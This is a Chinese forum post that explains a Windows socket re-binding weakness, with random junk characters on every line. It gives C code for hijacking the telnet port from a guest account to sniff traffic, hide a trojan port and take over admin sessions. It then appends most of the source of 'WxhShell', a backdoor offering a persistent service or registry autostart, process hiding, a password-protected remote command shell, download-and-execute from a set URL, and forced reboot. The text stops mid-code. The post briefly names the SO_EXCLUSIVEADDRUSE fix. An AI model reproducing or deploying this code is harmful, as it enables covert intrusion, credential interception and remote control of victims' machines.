社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 9053阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5ZK@`jkE  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !F1N~6f  
L(-b@Joh  
  saddr.sin_family = AF_INET; _JE"{ ;  
ssRbhlD/*1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); E:}r5S) 4  
k$J zH$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); OAkZKG|  
DLMM/WJg@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 lP@Ki5  
78# v  
  这意味着什么?意味着可以进行如下的攻击: R$TB1w9]  
QpA/SmJ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 71gT.E  
E!l!OtFL  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^o1*a&~J@  
`_RTw5{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -w_QJ_z_  
Xudg2t)+K  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _FVcx7l!u  
v+`N*\J_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 pDIVZC  
vchm"p?9)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 uPG4V2  
2fR02={-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2Mmz%S'd  
khrb-IY@  
  #include s,=i_gyPQ  
  #include orfO^;qTY  
  #include !0@Yplj  
  #include    U4-g^S[  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Z9 9>5\k  
  int main() D.Q=]jOs  
  { M#VE]J  
  WORD wVersionRequested; /ZPyN<@  
  DWORD ret; `~Zs0  
  WSADATA wsaData; bMMh|F  
  BOOL val; EzV96+  
  SOCKADDR_IN saddr; DV-;4AxxRq  
  SOCKADDR_IN scaddr; "C SC  
  int err; B$!)YD;  
  SOCKET s; V'T ,4  
  SOCKET sc; 7=WT69,&  
  int caddsize; -}=%/|\FG  
  HANDLE mt; ,:H\E|XeBw  
  DWORD tid;   qA$*YIlK  
  wVersionRequested = MAKEWORD( 2, 2 ); cmg ^J  
  err = WSAStartup( wVersionRequested, &wsaData ); O#k6' LN?  
  if ( err != 0 ) { S=nzw-(I  
  printf("error!WSAStartup failed!\n"); MIoEauf  
  return -1; &[/w_| b  
  } )Es"LP]  
  saddr.sin_family = AF_INET; MLWM&cFG  
   ;\Y& ce  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ul2")HL];  
&twf,8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); PGBQn#c<  
  saddr.sin_port = htons(23); ;YX4:OBqr  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  }'/`2!lY  
  { .CU5}Tv-  
  printf("error!socket failed!\n"); mkF"   
  return -1; qX   
  } Boz@bl mCB  
  val = TRUE; ?yR&/a  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &n?^$LTPY  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9 ;Ox;;w  
  { "zFNg';  
  printf("error!setsockopt failed!\n"); u r@Z|5  
  return -1; @8^[!F  
  } d'$T4yA  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Z->p1xkX  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :^x?2% ~K.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [E JQ>?D  
Jesjtcy<*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [P7N{l=I  
  { ICkp$u^  
  ret=GetLastError(); 0B@Jity#!  
  printf("error!bind failed!\n"); Qj6/[mUr~  
  return -1; p2udm!)J  
  } y+6o{`0  
  listen(s,2); <5jzl  
  while(1) y2vUthRwo  
  { Zx  bq  
  caddsize = sizeof(scaddr); i35=Y~P-  
  //接受连接请求 ^?]%sdT q  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Yvjc1  
  if(sc!=INVALID_SOCKET) `poE6\  
  { LLXVNO@e+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (RZD'U/B  
  if(mt==NULL) ,gOOiB }  
  { sWblFvHqrU  
  printf("Thread Creat Failed!\n"); @kU@N?5e  
  break; bk^TFE1l  
  } J6G(_(d  
  } +d!v}aJ  
  CloseHandle(mt); ez!C?  
  } 09kt[  
  closesocket(s); HcV"X,7S  
  WSACleanup(); snnbb0J  
  return 0; ] Ww?QhJ  
  }   tl'9IGlc  
  DWORD WINAPI ClientThread(LPVOID lpParam) IGFR4+  
  { Gkv{~?95  
  SOCKET ss = (SOCKET)lpParam; )}'U`'q  
  SOCKET sc; | j a-  
  unsigned char buf[4096]; i?:_:"^x  
  SOCKADDR_IN saddr; Ox'/` Mppw  
  long num; JPWOPB'H  
  DWORD val; ~JD nKo  
  DWORD ret; OdY=z!Fls  
  //如果是隐藏端口应用的话,可以在此处加一些判断 m[@Vf9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -7&Gi +]  
  saddr.sin_family = AF_INET; ku a) K!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Xy &uZ  
  saddr.sin_port = htons(23); }~h(w^t  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _#}n~}d  
  { PF7&p~O(Z  
  printf("error!socket failed!\n"); JA_BKA  
  return -1; g{9+O7q  
  } -,{-bi  
  val = 100; ]B]*/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]$\|ktY!  
  { x5WW--YR+  
  ret = GetLastError(); 4[-*~C|W5  
  return -1; p6XtTx  
  } xvSuPP4 m  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /q$,'^.A  
  { (?! ,p^  
  ret = GetLastError(); "a/ Q%.P  
  return -1; ?EK?b s  
  } ~ Yngkt  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) I1>N4R-j  
  { ^T,Gu-2>  
  printf("error!socket connect failed!\n"); h"[+)q%L  
  closesocket(sc); dN}#2Bo =  
  closesocket(ss); Uyr3dN%*r  
  return -1; $4T2z-  
  } p/ >`[I  
  while(1) $<|l E/_]  
  { ?cEskafb>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 tpTAeQ*:d  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 I]y.8~xs  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %9#gB  
  num = recv(ss,buf,4096,0); :BGA.  
  if(num>0) cl*PFQp9j  
  send(sc,buf,num,0); @M8|(N%  
  else if(num==0) ~|AwN [  
  break; r]Ff{la5  
  num = recv(sc,buf,4096,0); @hImk`&[N  
  if(num>0) fQ=MJ7l  
  send(ss,buf,num,0); KyO8A2'U  
  else if(num==0) $VQtwuYt  
  break; z5X~3s\dP  
  } z]bwnJfd  
  closesocket(ss); {gaai  
  closesocket(sc); (x$9~;<S*d  
  return 0 ; |fY/i] Ax  
  } KB!|B.ChN(  
;eZ#bjw-d  
e~T@~(fft  
========================================================== ;u(Du-Os!  
OLj\-w^  
下边附上一个代码,,WXhSHELL UYtuED  
aRJ>6Q}  
========================================================== ?P7]u>H  
xlR2|4|8  
#include "stdafx.h" 35x 0T/8  
2.X"f  
#include <stdio.h> UP{j5gR:_  
#include <string.h> Y}DonF  
#include <windows.h> @MK"X}3  
#include <winsock2.h> %,*G[#*&  
#include <winsvc.h> rBN)a"  
#include <urlmon.h> G^1b>K  
" uPy,<l  
#pragma comment (lib, "Ws2_32.lib") :p4"IeKs  
#pragma comment (lib, "urlmon.lib") j9/-"dTL  
1lnU77;  
#define MAX_USER   100 // 最大客户端连接数 lRP1&FH0  
#define BUF_SOCK   200 // sock buffer B,(Heg  
#define KEY_BUFF   255 // 输入 buffer cubk]~VD  
n!E2_  
#define REBOOT     0   // 重启 ='E$-_  
#define SHUTDOWN   1   // 关机 -gz0md|Y  
47T}0q,  
#define DEF_PORT   5000 // 监听端口 V=:_d,  
pNE(n4v  
#define REG_LEN     16   // 注册表键长度 jUqy8q&  
#define SVC_LEN     80   // NT服务名长度 ? QDWuPhN  
M'1!<a-Mp  
// 从dll定义API j,2l8?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =N|kn<h4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^SfS~G Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +tN &a  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S2VVv$r_6  
Q^Bt1C  
// wxhshell配置信息 '~wpP=<yyF  
struct WSCFG { :Ld!mRZF  
  int ws_port;         // 监听端口 VZIR4J[\.  
  char ws_passstr[REG_LEN]; // 口令 )hj|{h7  
  int ws_autoins;       // 安装标记, 1=yes 0=no GW2')}g  
  char ws_regname[REG_LEN]; // 注册表键名 1[;@AE2Y  
  char ws_svcname[REG_LEN]; // 服务名 YO:&;K%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s2v(=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yO>V/5`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WnAd5#G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I}Xg &-L  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vVs#^"-nW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /LQ:Sv7  
y/@iT8$rp  
};  !=*.$4  
(a6?s{(  
// default Wxhshell configuration m^{ xd2  
struct WSCFG wscfg={DEF_PORT, #rYENR[  
    "xuhuanlingzhe", u; TvS |  
    1, WIh@y2&R  
    "Wxhshell", lg1PE7  
    "Wxhshell", Jll-X\O`-  
            "WxhShell Service", O hR1Jaed  
    "Wrsky Windows CmdShell Service", G(1 K9{i$  
    "Please Input Your Password: ", c~dM`2J,  
  1, 5GAy "Xd  
  "http://www.wrsky.com/wxhshell.exe", ;' e@t8i6  
  "Wxhshell.exe" BZ F,=v  
    }; Vul+]h[!h  
$~'Tf>e  
// 消息定义模块 ?Cci:Lin  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O(OmGu4%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n!N\zx8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (3EUy"z-  
char *msg_ws_ext="\n\rExit."; /b.oEGqZX  
char *msg_ws_end="\n\rQuit."; Y&'8VdW  
char *msg_ws_boot="\n\rReboot..."; 8 HoP( +?  
char *msg_ws_poff="\n\rShutdown..."; qvLDfN  
char *msg_ws_down="\n\rSave to "; C 7n Kk/r  
a]VGUW-  
char *msg_ws_err="\n\rErr!"; $<ddy/4  
char *msg_ws_ok="\n\rOK!"; GF--riyfB  
iY.eJlfH  
char ExeFile[MAX_PATH]; :LV.G0)#  
int nUser = 0; <Ns &b.\h6  
HANDLE handles[MAX_USER]; >v0:qN7|  
int OsIsNt; {&nV4c$v  
BGjb`U#%3  
SERVICE_STATUS       serviceStatus; ZxS&4>.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3DoRE2}  
~/`X*n&  
// 函数声明  ?B4#f!X  
int Install(void); (Imp $  
int Uninstall(void); IG / $!* E  
int DownloadFile(char *sURL, SOCKET wsh); M<qudi  
int Boot(int flag); FpkXOj?*  
void HideProc(void); DA LQ<iF  
int GetOsVer(void); EE%s<_k`  
int Wxhshell(SOCKET wsl); M g!ra"  
void TalkWithClient(void *cs); Y5jYmP<  
int CmdShell(SOCKET sock); M@^U 0 ?  
int StartFromService(void); V8'`nuC+  
int StartWxhshell(LPSTR lpCmdLine); U4wpjHg  
i;lE5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _9h.Gt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [b5(XIGUN}  
t]TyXAr~  
// 数据结构和表定义 X N;/nU  
SERVICE_TABLE_ENTRY DispatchTable[] = pVOI5>f\  
{ ?*K<*wBw#  
{wscfg.ws_svcname, NTServiceMain}, ,ZK]i CGk  
{NULL, NULL} /{G/|a  
}; m,NMTyJoz  
A ^B@VuK  
// 自我安装 POBpJg  
int Install(void) _ +KmNfR  
{ glor+  
  char svExeFile[MAX_PATH]; >RR<eYu7m  
  HKEY key; /`R dQ<($  
  strcpy(svExeFile,ExeFile); D_aR\  
caD5Pod4  
// 如果是win9x系统,修改注册表设为自启动 ,35Ag#va  
if(!OsIsNt) { deM~[1e[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MYTS3(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U,3d) ]Zy&  
  RegCloseKey(key); .S|-4}G(6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J<_1z':W)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XZ@ >]P  
  RegCloseKey(key); )@c3##Zp)  
  return 0; NS 5 49S  
    } H^v{Vo  
  } n^6TP'r  
} 0Uaem  
else { J3\)Jy  
GI4oQcJ  
// 如果是NT以上系统,安装为系统服务 HWR& C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O<a3DyUa;  
if (schSCManager!=0) ?zE<  
{ jf7pl8gv  
  SC_HANDLE schService = CreateService Vw?P.4  
  ( Ty}R^cy{d  
  schSCManager, bBFwx@  
  wscfg.ws_svcname, 7xR|_+%~K  
  wscfg.ws_svcdisp, Fc{((x s  
  SERVICE_ALL_ACCESS, au A.6DQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GG>Y/;^  
  SERVICE_AUTO_START, A[RN-R,  
  SERVICE_ERROR_NORMAL, J/gQQ. s  
  svExeFile, 1Q_ ``.M  
  NULL, &U0WkW   
  NULL,  /Ef4EX0  
  NULL, |QqWVelc  
  NULL, dAwS<5!  
  NULL wL'C1Vr  
  ); < [ w++F~  
  if (schService!=0) `^f}$R|  
  { 1G_xP^H!  
  CloseServiceHandle(schService); a}GAB@YI  
  CloseServiceHandle(schSCManager); Vd[  2u  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |3|wdzV  
  strcat(svExeFile,wscfg.ws_svcname); 7rPLnB]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { YrKFa%k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5EfY9}dl  
  RegCloseKey(key); mN7&%Z  
  return 0; 9 G((wiE  
    } z.A4x#>-  
  } k2wBy'M .'  
  CloseServiceHandle(schSCManager); Z#@6#S`  
} 5#BF,-Jv  
} >VypE8H]x  
9OhR4 1B  
return 1; r"1A`89  
} c_[ JjG^?P  
F94V5_[  
// 自我卸载 L<"k 7)k  
int Uninstall(void) Cea"qNq=k  
{ |H<|{{E  
  HKEY key; n=r= u'oi  
0 c, bet{m  
if(!OsIsNt) { dgm+U%E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }P16Xb)p  
  RegDeleteValue(key,wscfg.ws_regname); % M+s{ l  
  RegCloseKey(key); pV_}Or_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x1:vUHwC  
  RegDeleteValue(key,wscfg.ws_regname); lW&[mnR  
  RegCloseKey(key); 6WCmp,*  
  return 0; wbl ${@4  
  } 8\P JSr  
} i:R!T,  
} \S'cW B  
else { oNrEIgaA(+  
T?Z OHH8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %pd5w~VP  
if (schSCManager!=0) ?#U0eb5u  
{ `$f\ %  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %d ZM9I0  
  if (schService!=0) JPHUmv6  
  { 57'q;I  
  if(DeleteService(schService)!=0) { dzpj9[  
  CloseServiceHandle(schService); ~igRg~k:/  
  CloseServiceHandle(schSCManager); EmYO5Whi  
  return 0; _dz +2au  
  } [p2g_bI8yK  
  CloseServiceHandle(schService); Q1K"%  
  } B<rPvM7a  
  CloseServiceHandle(schSCManager); rrW! X q  
} !Jh*a *I}  
} BllDWKb  
<r@bNx@T  
return 1; ry z /rf  
} ]cS&8{ ^2  
IQ o]9Lx  
// 从指定url下载文件 s_x=^S3~LO  
int DownloadFile(char *sURL, SOCKET wsh) Cb+P7[X-  
{ `6dy U_f  
  HRESULT hr; #!(Zn:[  
char seps[]= "/"; A!n~8zcmp}  
char *token; [>Ikitow  
char *file; axHxqhO7zp  
char myURL[MAX_PATH]; "[FCQ  
char myFILE[MAX_PATH]; 5ENov!$H  
4+BrTGp  
strcpy(myURL,sURL); C+}CU}  
  token=strtok(myURL,seps); zUvB0\{q  
  while(token!=NULL) Bb$S^F(Xq  
  { Rv0-vH.n  
    file=token; ;:-}z.7Y  
  token=strtok(NULL,seps); ?S+/QyjcfJ  
  } p{+tFQy  
r[Zg 2  
GetCurrentDirectory(MAX_PATH,myFILE); {\ A_%  
strcat(myFILE, "\\"); ^[k6]1h  
strcat(myFILE, file); K'>P!R:El  
  send(wsh,myFILE,strlen(myFILE),0); l!xgtP K  
send(wsh,"...",3,0); IEKMa   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C!CaGf=  
  if(hr==S_OK) Fmy1nZ   
return 0; ABd153oW"  
else 8JQ<LrIt9  
return 1; }M;sz  
_SU,f>  
} lr)G:I#|  
$IZ *|>(  
// 系统电源模块 s0x@ u  
int Boot(int flag) kfH9Y%bOy  
{ !NlB%cF  
  HANDLE hToken; ]W89.><%14  
  TOKEN_PRIVILEGES tkp; n=lggBRx  
c80"8r  
  if(OsIsNt) { D N2hv2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KFCQYdI`d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wWp?HDl"M  
    tkp.PrivilegeCount = 1; RlG'|xaT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F(0pru4u  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); a,en8+r ]  
if(flag==REBOOT) { #c8"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C?_t8G./_  
  return 0; &utS\-;G  
} Pl`Bd0  
else { W$x K^}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n^g-`  
  return 0; >KH(nc$  
} !XG/,)A  
  } { &6l\|  
  else { [346w <  
if(flag==REBOOT) { Th I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $~;6hnr m  
  return 0; _R>s5|_  
} ?STI8AdO  
else { RXCygPT   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <"j"h=tm}  
  return 0; _dH[STT  
} |\yDgs%EGy  
} [kU[}FT  
gwkZk-f\p  
return 1; S1 R #]  
} ?w|\ 7T.?  
URj% J/jD  
// win9x进程隐藏模块 hfP(N_""S  
void HideProc(void) _&8KB1~  
{  )^QG-IM  
F ~11 _  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TLR Lng  
  if ( hKernel != NULL ) ul]m>W  
  { r(`8A:#d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G5X|JTzpu<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .1l[l5$  
    FreeLibrary(hKernel); *(_ON$+3  
  } -h.3M0  
t 's5~  
return; ]c~rPi  
} n^I|}u\  
'h+4zvI"8  
// 获取操作系统版本 sIQMUC[!  
int GetOsVer(void) PhI{3B/  
{ 123-i,epg  
  OSVERSIONINFO winfo; P dE)m/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dzk?Zg  
  GetVersionEx(&winfo); 9h)P8B.>M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ).@)t:uNa  
  return 1; !*$'fn'bAA  
  else |x}&wFV  
  return 0; )gm\e?^   
} ek_i{'hFd  
d,E/9y\e  
// 客户端句柄模块 kB!M[[t  
int Wxhshell(SOCKET wsl) aNh1e^j  
{ *jqPKK/  
  SOCKET wsh; '!2  
  struct sockaddr_in client; 'j =PbA  
  DWORD myID; 4'u|L&ow  
>LRaIU>  
  while(nUser<MAX_USER) `;8u9Ff  
{ !{|yAt9kP  
  int nSize=sizeof(client); x,@O:e  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o2t@-dNi  
  if(wsh==INVALID_SOCKET) return 1; 4$#ia F  
O,z%7><  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1tK6lrhj  
if(handles[nUser]==0) d#$i/&gE  
  closesocket(wsh); FCw VVF0 y  
else 2* cKFv{  
  nUser++; FnU{C=P  
  } I "+|cFq.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 62KW HB9S  
>G -?e!  
  return 0;  MYW 4@#  
} OYCFx2{  
,4?|}xg  
// 关闭 socket hJL0M!  
void CloseIt(SOCKET wsh) EJiF_  
{ ;z=C^'  
closesocket(wsh); :8/M6-EK  
nUser--; OW5|oG  
ExitThread(0); Y)-)NLLG;n  
} $DMu~wwfG  
_jI)!rfb  
// 客户端请求句柄 RM=+ZmA  
void TalkWithClient(void *cs) xsypIbN  
{ A_$Mt~qKi^  
W,eKQV<j  
  SOCKET wsh=(SOCKET)cs; "{1}  
  char pwd[SVC_LEN]; fCo2".Tk  
  char cmd[KEY_BUFF]; r  E *u  
char chr[1]; (/UMi,Ho  
int i,j; ?. 'oxW  
g960;waz3  
  while (nUser < MAX_USER) { ri_6 wbPp  
`oI/;&  
if(wscfg.ws_passstr) { ~+NFWNgN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'jO-e^qT  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u\\niCNA  
  //ZeroMemory(pwd,KEY_BUFF); )^a#Xn3z  
      i=0; [/`Hz]R  
  while(i<SVC_LEN) { GA@Q:n8UuR  
70l;**"4  
  // 设置超时 ~$`YzK^*X  
  fd_set FdRead; V s t e$V  
  struct timeval TimeOut; D +%k1  
  FD_ZERO(&FdRead);  /o3FK  
  FD_SET(wsh,&FdRead); y8 u)Q  
  TimeOut.tv_sec=8; qSs^}eN  
  TimeOut.tv_usec=0; rcb/X`l=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rG'k<X~7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?z36mj"`o  
pzp"NKx i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AG!a=ufc0  
  pwd=chr[0]; C4K&flk]  
  if(chr[0]==0xd || chr[0]==0xa) { v-]-wNqT  
  pwd=0; rsj}hS$  
  break; |gxB; GG  
  } )ejqE6'[  
  i++; SNV+.xN  
    } ;DWp>jgy  
z Clm'X/  
  // 如果是非法用户,关闭 socket OX`GN#yl  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); * =N 6_  
} Y:Tt$EQ  
:jp$X|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "S} hcAL/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +mF 2yh  
aD`e]K ^L  
while(1) { zU=[Kc=$  
+4vX+;: br  
  ZeroMemory(cmd,KEY_BUFF); &(1NOyX&  
%Q4w9d  
      // 自动支持客户端 telnet标准   w%u[~T7OI  
  j=0; ]=$ ay0HC  
  while(j<KEY_BUFF) { S6:gow(wU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tm#y `1-  
  cmd[j]=chr[0];  JS.' v7  
  if(chr[0]==0xa || chr[0]==0xd) { 0-O.*Q^  
  cmd[j]=0; 2xxwQwg8  
  break; \O4=mJ  
  } s,q!(\{Pv  
  j++; R^C;D 2  
    } 8+b3u05  
r_CN/a  
  // 下载文件 v~=ol8J B  
  if(strstr(cmd,"http://")) { eEFT(e5.>3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `Wt~6D e  
  if(DownloadFile(cmd,wsh)) Z ' 96d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q%h o[KU  
  else /{} ]Hu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I!#^F 1p1  
  } ^^(ZK 6d  
  else { _!Q\Xn  
-$p-o Z)  
    switch(cmd[0]) { Bnc  
  89dC bF3b  
  // 帮助 AH,F[ vS  
  case '?': { :Bc;.%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !(tJZ5  
    break; +\m!# CSA  
  } eW<hC (  
  // 安装 Sgy~Z^  
  case 'i': { JFkjpBS  
    if(Install()) aDEP_b;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  'Z}$V*  
    else HAdm,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =ZL2 0<TeH  
    break; XV!EjD~q  
    } j<5R$^?U  
  // 卸载 $dUN+9  
  case 'r': { $5 [RR  
    if(Uninstall()) \OB3gnR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6g&nnA  
    else \Ki#"%S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [K QZHIe  
    break; T!E LH!  
    } (]dZ+"O{  
  // 显示 wxhshell 所在路径 <H#K`|Ag  
  case 'p': { j3F=P  
    char svExeFile[MAX_PATH]; *mt v[  
    strcpy(svExeFile,"\n\r"); r4zS,J;,  
      strcat(svExeFile,ExeFile); GT0'bge  
        send(wsh,svExeFile,strlen(svExeFile),0); +?'acn  
    break; v#G ^W  
    } \`x'g)z(i  
  // 重启 a#$%xw  
  case 'b': { 'IszS!kY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mY9K)]8  
    if(Boot(REBOOT)) HN)QS5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &*-2k-16  
    else { 3 g&mND  
    closesocket(wsh); rKq]zHgpo  
    ExitThread(0); mK4A/bsE  
    } - d6>  
    break; OkXOV   
    } \aozecpC`  
  // 关机 bp_@e0  
  case 'd': { C I0^eaFs  
